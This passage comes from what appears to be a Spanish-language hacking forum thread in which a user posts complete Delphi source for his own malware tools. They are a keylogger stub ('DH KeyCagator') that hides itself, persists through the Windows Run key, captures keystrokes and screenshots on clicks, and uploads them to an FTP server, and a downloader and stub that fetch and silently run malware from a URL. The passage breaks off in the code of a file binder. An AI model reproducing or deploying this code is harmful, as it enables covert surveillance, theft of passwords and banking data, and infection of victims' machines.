        else
        begin
          StatusBar1.Panels[0].Text := '[+] Done ';
          StatusBar1.Update;
        end;
      end
      else
      begin
        StatusBar1.Panels[0].Text := '[+] Done ';
        StatusBar1.Update;
      end;

    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      OpenDialog1.InitialDir := GetCurrentDir;
      OpenDialog1.Filter := 'ICO|*.ico|';
    end;

    end.

    // The End ?


    El stub.

    Código: delphi

    // DH KeyCagator 1.0
    // (C) Doddy Hackman 2014

    program keycagator;

    // {$APPTYPE CONSOLE}

    uses
      SysUtils, Windows, WinInet, ShellApi, Vcl.Graphics, Vcl.Imaging.jpeg;

    var
      nombrereal: string;
      rutareal: string;
      yalisto: string;
      registro: HKEY;
      dir: string;
      time: integer;

      dir_hide: string;
      time_screen: integer;
      time_ftp: integer;
      ftp_host: Pchar;
      ftp_user: Pchar;
      ftp_password: Pchar;
      ftp_dir: Pchar;

      carpeta: string;
      directorio: string;
      bankop: string;
      dir_normal: string;
      dir_especial: string;
      ftp_online: string;
      screen_online: string;
      activado: string;

      ob: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      todo: string;

      // Functions

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      try

        begin
          AssignFile(ar, filename);
          FileMode := fmOpenWrite;

          if FileExists(filename) then
            Append(ar)
          else
            Rewrite(ar);

          Write(ar, texto);
          CloseFile(ar);
        end;
      except
        //
      end;

    end;

    procedure upload_ftpfile(host, username, password, filetoupload,
      conestenombre: Pchar);

    // Credits :
    // Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
    // Thanks to Omair Iqbal

    var
      controluno: HINTERNET;
      controldos: HINTERNET;

    begin

      try

        begin
          controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
          controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
            username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
          ftpPutFile(controldos, filetoupload, conestenombre,
            FTP_TRANSFER_TYPE_BINARY, 0);
          InternetCloseHandle(controldos);
          InternetCloseHandle(controluno);
        end
      except
        //
      end;

    end;

    procedure capturar_pantalla(nombre: string);

    // Function capturar() based in :
    // http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/
    // http://delphi.about.com/cs/adptips2001/a/bltip0501_4.htm
    // http://stackoverflow.com/questions/21971605/show-mouse-cursor-in-screenshot-with-delphi
    // Thanks to Zarko Gajic , Luthfi and Ken White

    var
      aca: HDC;
      tan: TRect;
      posnow: TPoint;
      imagen1: TBitmap;
      imagen2: TJpegImage;
      curnow: THandle;

    begin

      aca := GetWindowDC(GetDesktopWindow);
      imagen1 := TBitmap.Create;

      GetWindowRect(GetDesktopWindow, tan);
      imagen1.Width := tan.Right - tan.Left;
      imagen1.Height := tan.Bottom - tan.Top;
      BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0,
        0, SRCCOPY);

      GetCursorPos(posnow);

      curnow := GetCursor;
      DrawIconEx(imagen1.Canvas.Handle, posnow.X, posnow.Y, curnow, 32, 32, 0, 0,
        DI_NORMAL);

      imagen2 := TJpegImage.Create;
      imagen2.Assign(imagen1);
      imagen2.CompressionQuality := 60;
      imagen2.SaveToFile(nombre);

      imagen1.Free;
      imagen2.Free;

    end;

    //

    procedure capturar_teclas;

    var
      I: integer;
      Result: Longint;
      mayus: integer;
      shift: integer;
      banknow: string;

    const

      n_numeros_izquierda: array [1 .. 10] of string = ('48', '49', '50', '51',
        '52', '53', '54', '55', '56', '57');

    const
      t_numeros_izquierda: array [1 .. 10] of string = ('0', '1', '2', '3', '4',
        '5', '6', '7', '8', '9');

    const
      n_numeros_derecha: array [1 .. 10] of string = ('96', '97', '98', '99', '100',
        '101', '102', '103', '104', '105');

    const
      t_numeros_derecha: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5',
        '6', '7', '8', '9');

    const
      n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
        '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
        '291', '220', '221', '222', '226');

    const
      t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨', '&',
        '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^', '|');

    const
      n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
        '188', '189', '190', '191', '192', '193', '219', '220', '221',
        '222', '226');

    const
      t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
        '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
        ' / ', ' \ \ \ ', ']', '[', '~', '\/');

    begin

      while (1 = 1) do
      begin

        Sleep(time); // Time

        try

          begin

            // Others

            for I := Low(n_raros) to High(n_raros) do
            begin
              Result := GetAsyncKeyState(StrToInt(n_raros[I]));
              If Result = -32767 then
              begin
                savefile('logs.html', t_raros[I]);
                if (bankop = '1') then
                begin
                  if (t_raros[I] = '[mouse click]') then
                  begin
                    banknow := IntToStr(Random(10000)) + '.jpg';
                    capturar_pantalla(banknow);
                    SetFileAttributes(Pchar(dir + '/' + banknow),
                      FILE_ATTRIBUTE_HIDDEN);

                    savefile('logs.html', '<br><br><center><img src=' + banknow +
                      '></center><br><br>');

                  end;
                end;
              end;
            end;

            // SHIFT

            if (GetAsyncKeyState(VK_SHIFT) <> 0) then
            begin

              for I := Low(n_shift) to High(n_shift) do
              begin
                Result := GetAsyncKeyState(StrToInt(n_shift[I]));
                If Result = -32767 then
                begin
                  savefile('logs.html', t_shift[I]);
                end;
              end;

              for I := 65 to 90 do
              begin
                Result := GetAsyncKeyState(I);
                If Result = -32767 then
                Begin
                  savefile('logs.html', Chr(I + 0));
                End;
              end;

            end;

            // Numbers

            for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do
            begin
              Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I]));
              If Result = -32767 then
              begin
                savefile('logs.html', t_numeros_derecha[I]);
              end;
            end;

            for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
            begin
              Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I]));
              If Result = -32767 then
              begin
                savefile('logs.html', t_numeros_izquierda[I]);
              end;
            end;

            // MAYUS

            if (GetKeyState(20) = 0) then
            begin
              mayus := 32;
            end
            else
            begin
              mayus := 0;
            end;

            for I := 65 to 90 do
            begin
              Result := GetAsyncKeyState(I);
              If Result = -32767 then
              Begin
                savefile('logs.html', Chr(I + mayus));
              End;
            end;
          end;
        except
          //
        end;

      end;
    end;

    procedure capturar_ventanas;
    var
      ventana1: array [0 .. 255] of Char;
      nombre1: string;
      Nombre2: string; //
    begin
      while (1 = 1) do
      begin

        try

          begin
            Sleep(time); // Time

            GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1));

            nombre1 := ventana1;

            if not(nombre1 = Nombre2) then
            begin
              Nombre2 := nombre1;
              savefile('logs.html', '<hr style=color:#00FF00><h2><center>' + Nombre2
                + '</h2></center><br>');
            end;

          end;
        except
          //
        end;
      end;

    end;

    procedure capturar_pantallas;
    var
      generado: string;
    begin
      while (1 = 1) do
      begin

        Sleep(time_screen);

        generado := IntToStr(Random(10000)) + '.jpg';

        try

          begin
            capturar_pantalla(generado);
          end;
        except
          //
        end;

        SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN);

        savefile('logs.html', '<br><br><center><img src=' + generado +
          '></center><br><br>');

      end;
    end;

    procedure subirftp;
    var
      busqueda: TSearchRec;
    begin
      while (1 = 1) do
      begin

        try

          begin
            Sleep(time_ftp);

            upload_ftpfile(ftp_host, ftp_user, ftp_password,
              Pchar(dir + 'logs.html'), Pchar(ftp_dir + 'logs.html'));

            FindFirst(dir + '*.jpg', faAnyFile, busqueda);

            upload_ftpfile(ftp_host, ftp_user, ftp_password,
              Pchar(dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
            while FindNext(busqueda) = 0 do
            begin
              upload_ftpfile(ftp_host, ftp_user, ftp_password,
                Pchar(dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
            end;
          end;
        except
          //
        end;
      end;
    end;

    procedure control;
    var
      I: integer;
      re: Longint;
    begin

      while (1 = 1) do
      begin

        try

          begin

            Sleep(time);

            if (GetAsyncKeyState(VK_SHIFT) <> 0) then
            begin

              re := GetAsyncKeyState(120);
              If re = -32767 then
              Begin

                ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil,
                  SW_SHOWNORMAL);

              End;
            end;
          end;
        except
          //
        end;
      End;
    end;

    //

    begin

      try

        // Config

        try

          begin

            // Edit

            ob := INVALID_HANDLE_VALUE;
            code := '';

            ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
              OPEN_EXISTING, 0, 0);
            if (ob <> INVALID_HANDLE_VALUE) then
            begin
              SetFilePointer(ob, -9999, nil, FILE_END);
              ReadFile(ob, code, 9999, nose, nil);
              CloseHandle(ob);
            end;

            todo := regex(code, '[63686175]', '[63686175]');
            todo := dhencode(todo, 'decode');

            dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]'));
            directorio := regex(todo, '[save]', '[save]');
            carpeta := regex(todo, '[folder]', '[folder]');
            bankop := regex(todo, '[bank]', '[bank]');
            screen_online := regex(todo, '[capture_op]', '[capture_op]');
            time_screen := StrToInt(regex(todo, '[capture_seconds]',
              '[capture_seconds]'));
            ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
            time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]'));
            ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
            ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
            ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
            ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]'));

            dir_normal := dir_especial;

            time := 100; // Not Edit

            if (dir_normal = '1') then
            begin
              dir_hide := directorio;
            end
            else
            begin
              dir_hide := GetEnvironmentVariable(directorio) + '/';
            end;

            dir := dir_hide + carpeta + '/';

            if not(DirectoryExists(dir)) then
            begin
              CreateDir(dir);
            end;

            ChDir(dir);

            nombrereal := ExtractFileName(paramstr(0));
            rutareal := dir;
            yalisto := dir + nombrereal;

            MoveFile(Pchar(paramstr(0)), Pchar(yalisto));

            SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN);

            SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);

            savefile(dir + '/logs.html', '');

            SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN);

            savefile('logs.html',
              '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

            RegCreateKeyEx(HKEY_LOCAL_MACHINE,
              'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
              REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
            RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666);
            RegCloseKey(registro);
          end;
        except
          //
        end;

        // End

        // Start the party

        BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^);
        BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^);

        if (screen_online = '1') then
        begin
          BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^);
        end;
        if (ftp_online = '1') then
        begin
          BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^);
        end;

        BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^);

        // Readln;

        while (1 = 1) do
          Sleep(time);

      except
        //
      end;

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#186
Delphi / [Delphi] DH Downloader 0.8
Mayo 29, 2014, 05:54:14 PM
Version final de este programa para bajar y ejecutar malware , tiene dos formas de usarse la primera es teniendo el programa en un USB y bajar discretamente malware desde una url para despues ocultarle u otras cosas , la otra forma de usarla es generando una especie de "worm" que va a bajar el malware desde una url especifica , este "worm" puede ser usado tranquilamente en un binder o por separado para usarlo sin ningun problema.

Una imagen :



Un video con un ejemplo de uso :

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Los codigos :

El USB Mode :

Código: delphi

// DH Downloader 0.8
// (C) Doddy Hackman 2014

unit dh;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
  Vcl.ExtCtrls,
  Vcl.Imaging.pngimage, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, Registry, ShellApi, MadRes;

type
  TForm1 = class(TForm)
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    TabSheet3: TTabSheet;
    GroupBox1: TGroupBox;
    PageControl2: TPageControl;
    TabSheet4: TTabSheet;
    TabSheet5: TTabSheet;
    GroupBox2: TGroupBox;
    Button1: TButton;
    StatusBar1: TStatusBar;
    GroupBox3: TGroupBox;
    Edit1: TEdit;
    GroupBox4: TGroupBox;
    CheckBox1: TCheckBox;
    Edit2: TEdit;
    CheckBox2: TCheckBox;
    Edit3: TEdit;
    TabSheet6: TTabSheet;
    GroupBox5: TGroupBox;
    RadioButton1: TRadioButton;
    RadioButton2: TRadioButton;
    CheckBox3: TCheckBox;
    CheckBox4: TCheckBox;
    CheckBox5: TCheckBox;
    GroupBox6: TGroupBox;
    PageControl3: TPageControl;
    TabSheet7: TTabSheet;
    TabSheet8: TTabSheet;
    TabSheet9: TTabSheet;
    GroupBox7: TGroupBox;
    Edit4: TEdit;
    GroupBox8: TGroupBox;
    Edit5: TEdit;
    GroupBox9: TGroupBox;
    RadioButton3: TRadioButton;
    RadioButton4: TRadioButton;
    TabSheet10: TTabSheet;
    GroupBox10: TGroupBox;
    GroupBox11: TGroupBox;
    Button2: TButton;
    Edit6: TEdit;
    GroupBox12: TGroupBox;
    GroupBox13: TGroupBox;
    ComboBox1: TComboBox;
    GroupBox14: TGroupBox;
    CheckBox6: TCheckBox;
    GroupBox15: TGroupBox;
    Image2: TImage;
    Memo1: TMemo;
    Image3: TImage;
    GroupBox16: TGroupBox;
    Button3: TButton;
    ProgressBar1: TProgressBar;
    IdHTTP1: TIdHTTP;
    OpenDialog1: TOpenDialog;
    GroupBox17: TGroupBox;
    Image1: TImage;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Edit5DblClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

function getfilename(archivo: string): string;
var
  test: TStrings;
begin

  test := TStringList.Create;
  test.Delimiter := '/';
  test.DelimitedText := archivo;
  Result := test[test.Count - 1];

  test.Free;

end;

//

procedure TForm1.Button1Click(Sender: TObject);
var
  filename: string;
  nombrefinal: string;
  addnow: TRegistry;
  archivobajado: TFileStream;

begin

  if not CheckBox1.Checked then
  begin
    filename := Edit1.Text;
    nombrefinal := getfilename(filename);
  end
  else
  begin
    nombrefinal := Edit2.Text;
  end;

  archivobajado := TFileStream.Create(nombrefinal, fmCreate);

  try
    begin
      DeleteFile(nombrefinal);
      IdHTTP1.Get(Edit1.Text, archivobajado);
      StatusBar1.Panels[0].Text := '[+] File Dowloaded';
      StatusBar1.Update;
      archivobajado.Free;
    end;
  except
    StatusBar1.Panels[0].Text := '[-] Failed download';
    StatusBar1.Update;
    archivobajado.Free;
    Abort;
  end;

  if FileExists(nombrefinal) then
  begin

    if CheckBox2.Checked then
    begin
      if not DirectoryExists(Edit3.Text) then
      begin
        CreateDir(Edit3.Text);
      end;
      MoveFile(Pchar(nombrefinal), Pchar(Edit3.Text + '/' + nombrefinal));
      StatusBar1.Panels[0].Text := '[+] File Moved';
      StatusBar1.Update;
    end;

    if CheckBox3.Checked then
    begin
      SetFileAttributes(Pchar(Edit3.Text), FILE_ATTRIBUTE_HIDDEN);
      if CheckBox2.Checked then
      begin
        SetFileAttributes(Pchar(Edit3.Text + '/' + nombrefinal),
          FILE_ATTRIBUTE_HIDDEN);

        StatusBar1.Panels[0].Text := '[+] File Hidden';
        StatusBar1.Update;
      end
      else
      begin
        SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
        StatusBar1.Panels[0].Text := '[+] File Hidden';
        StatusBar1.Update;
      end;
    end;

    if CheckBox4.Checked then
    begin

      addnow := TRegistry.Create;
      addnow.RootKey := HKEY_LOCAL_MACHINE;
      addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);

      if CheckBox2.Checked then
      begin
        addnow.WriteString('uber', Edit3.Text + '/' + nombrefinal);
      end
      else
      begin
        addnow.WriteString('uber', ExtractFilePath(Application.ExeName) + '/' +
          nombrefinal);
      end;

      StatusBar1.Panels[0].Text := '[+] Registry Updated';
      StatusBar1.Update;

      addnow.Free;

    end;

    if CheckBox5.Checked then
    begin

      if RadioButton1.Checked then
      begin
        if CheckBox2.Checked then
        begin
          ShellExecute(Handle, 'open', Pchar(Edit3.Text + '/' + nombrefinal),
            nil, nil, SW_SHOWNORMAL);
        end
        else
        begin
          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
            SW_SHOWNORMAL);
        end;
      end
      else
      begin
        if CheckBox2.Checked then
        begin
          ShellExecute(Handle, 'open', Pchar(Edit3.Text + '/' + nombrefinal),
            nil, nil, SW_HIDE);
        end
        else
        begin
          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
        end;
      end;

    end;

    if CheckBox1.Checked or CheckBox2.Checked or CheckBox3.Checked or
      CheckBox4.Checked or CheckBox5.Checked then
    begin
      StatusBar1.Panels[0].Text := '[+] Finished';
      StatusBar1.Update;
    end;

  end;

end;

procedure TForm1.Button2Click(Sender: TObject);
begin

  if OpenDialog1.Execute then
  begin
    Image1.Picture.LoadFromFile(OpenDialog1.filename);
    Edit6.Text := OpenDialog1.filename;
  end;

end;

procedure TForm1.Button3Click(Sender: TObject);
var
  linea: string;
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  marca_uno: string;
  marca_dos: string;
  url: string;
  opcionocultar: string;
  savein: string;
  lineafinal: string;
  stubgenerado: string;
  tipodecarga: string;
  change: DWORD;
  valor: string;

begin

  url := Edit4.Text;
  stubgenerado := 'tiny_down.exe';

  if (RadioButton4.Checked = True) then
  begin
    tipodecarga := '1';
  end
  else
  begin
    tipodecarga := '0';
  end;

  if (CheckBox6.Checked = True) then
  begin
    opcionocultar := '1';
  end
  else
  begin
    opcionocultar := '0';
  end;

  if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
  begin
    savein := 'USERPROFILE';
  end
  else
  begin
    savein := ComboBox1.Items[ComboBox1.ItemIndex];
  end;

  lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
    '[opcion]' + '[path]' + savein + '[path]' + '[name]' + Edit5.Text + '[name]'
    + '[carga]' + tipodecarga + '[carga]';

  marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  DeleteFile(stubgenerado);
  CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' +
    'Data/stub_down.exe'), Pchar(ExtractFilePath(Application.ExeName) + '/' +
    stubgenerado), True);

  linea := marca_uno;
  StrCopy(code, Pchar(linea));
  aca := CreateFile(Pchar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  //

  if not(Edit6.Text = '') then
  begin
    try
      begin

        valor := IntToStr(128);

        change := BeginUpdateResourceW
          (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
          stubgenerado)), FALSE);
        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
          PWideChar(wideString(Edit6.Text)));
        EndUpdateResourceW(change, FALSE);
        StatusBar1.Panels[0].Text := '[+] Done ';
        StatusBar1.Update;
      end;
    except
      begin
        StatusBar1.Panels[0].Text := '[-] Error';
        StatusBar1.Update;
      end;
    end;
  end
  else
  begin
    StatusBar1.Panels[0].Text := '[+] Done ';
    StatusBar1.Update;
  end;

  //

end;

procedure TForm1.Edit5DblClick(Sender: TObject);
begin

  if not(Edit4.Text = '') then
  begin
    Edit5.Text := getfilename(Edit4.Text);
  end;

end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  ProgressBar1.Position := 0;

  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog1.Filter := 'ICO|*.ico|';

end;

end.

// The End ?


El stub :

Código: delphi

// DH Downloader 0.8
// (C) Doddy Hackman 2014

// Stub

program stub_down;

// {$APPTYPE CONSOLE}

uses
  SysUtils, Windows, URLMon, ShellApi;

// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

var
  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  link: string;
  todo: string;
  opcion: string;
  path: string;
  nombre: string;
  rutafinal: string;
  tipodecarga: string;

begin

  try

    ob := INVALID_HANDLE_VALUE;
    code := '';

    ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0);
    if (ob <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(ob, -9999, nil, FILE_END);
      ReadFile(ob, code, 9999, nose, nil);
      CloseHandle(ob);
    end;

    todo := regex(code, '[63686175]', '[63686175]');
    todo := dhencode(todo, 'decode');

    link := regex(todo, '[link]', '[link]');
    opcion := regex(todo, '[opcion]', '[opcion]');
    path := regex(todo, '[path]', '[path]');
    nombre := regex(todo, '[name]', '[name]');
    tipodecarga := regex(todo, '[carga]', '[carga]');

    rutafinal := GetEnvironmentVariable(path) + '/' + nombre;

    try

      begin
        UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);

        if (FileExists(rutafinal)) then
        begin

          if (opcion = '1') then
          begin
            SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
          end;

          if (tipodecarga = '1') then
          begin
            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
          end
          else
          begin
            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
          end;
        end;

      end;
    except
      //
    end;

  except
    //
  end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#187
Delphi / [Delphi] DH Binder 0.5
Mayo 21, 2014, 06:15:21 PM
Version final de esta binder que hice en Delphi.

Una imagen :



Un video con un ejemplo de uso :

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Los codigos :

El generador.

Código: delphi

// DH Binder 0.5
// (C) Doddy Hackman 2014
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle

unit dh;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.pngimage,
  Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Menus, MadRes;

type
  TForm1 = class(TForm)
    Image1: TImage;
    StatusBar1: TStatusBar;
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    TabSheet3: TTabSheet;
    TabSheet4: TTabSheet;
    GroupBox1: TGroupBox;
    Button1: TButton;
    GroupBox2: TGroupBox;
    ListView1: TListView;
    GroupBox3: TGroupBox;
    GroupBox4: TGroupBox;
    ComboBox1: TComboBox;
    GroupBox5: TGroupBox;
    CheckBox1: TCheckBox;
    GroupBox6: TGroupBox;
    GroupBox7: TGroupBox;
    Image2: TImage;
    GroupBox8: TGroupBox;
    Button2: TButton;
    GroupBox9: TGroupBox;
    Image3: TImage;
    Memo1: TMemo;
    PopupMenu1: TPopupMenu;
    AddFile1: TMenuItem;
    CleanList1: TMenuItem;
    OpenDialog1: TOpenDialog;
    OpenDialog2: TOpenDialog;
    Edit1: TEdit;
    procedure CleanList1Click(Sender: TObject);
    procedure AddFile1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

procedure TForm1.AddFile1Click(Sender: TObject);
var
  op: String;
begin

  if OpenDialog1.Execute then
  begin

    op := InputBox('Add File', 'Execute Hide ?', 'Yes');

    with ListView1.Items.Add do
    begin
      Caption := ExtractFileName(OpenDialog1.FileName);
      if (op = 'Yes') then
      begin
        SubItems.Add(OpenDialog1.FileName);
        SubItems.Add('Hide');
      end
      else
      begin
        SubItems.Add(OpenDialog1.FileName);
        SubItems.Add('Normal');
      end;
    end;

  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  i: integer;
  nombre: string;
  ruta: string;
  tipo: string;
  savein: string;
  opcionocultar: string;
  lineafinal: string;
  uno: DWORD;
  tam: DWORD;
  dos: DWORD;
  tres: DWORD;
  todo: Pointer;
  change: DWORD;
  valor: string;
  stubgenerado: string;

begin

  if (ListView1.Items.Count = 0) or (ListView1.Items.Count = 1) then
  begin
    ShowMessage('You have to choose two or more files');
  end
  else
  begin
    stubgenerado := 'done.exe';

    if (CheckBox1.Checked = True) then
    begin
      opcionocultar := '1';
    end
    else
    begin
      opcionocultar := '0';
    end;

    if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
    begin
      savein := 'USERPROFILE';
    end
    else
    begin
      savein := ComboBox1.Items[ComboBox1.ItemIndex];
    end;

    DeleteFile(stubgenerado);
    CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
      'Data/stub.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
      stubgenerado), True);

    uno := BeginUpdateResource(PChar(ExtractFilePath(Application.ExeName) + '/'
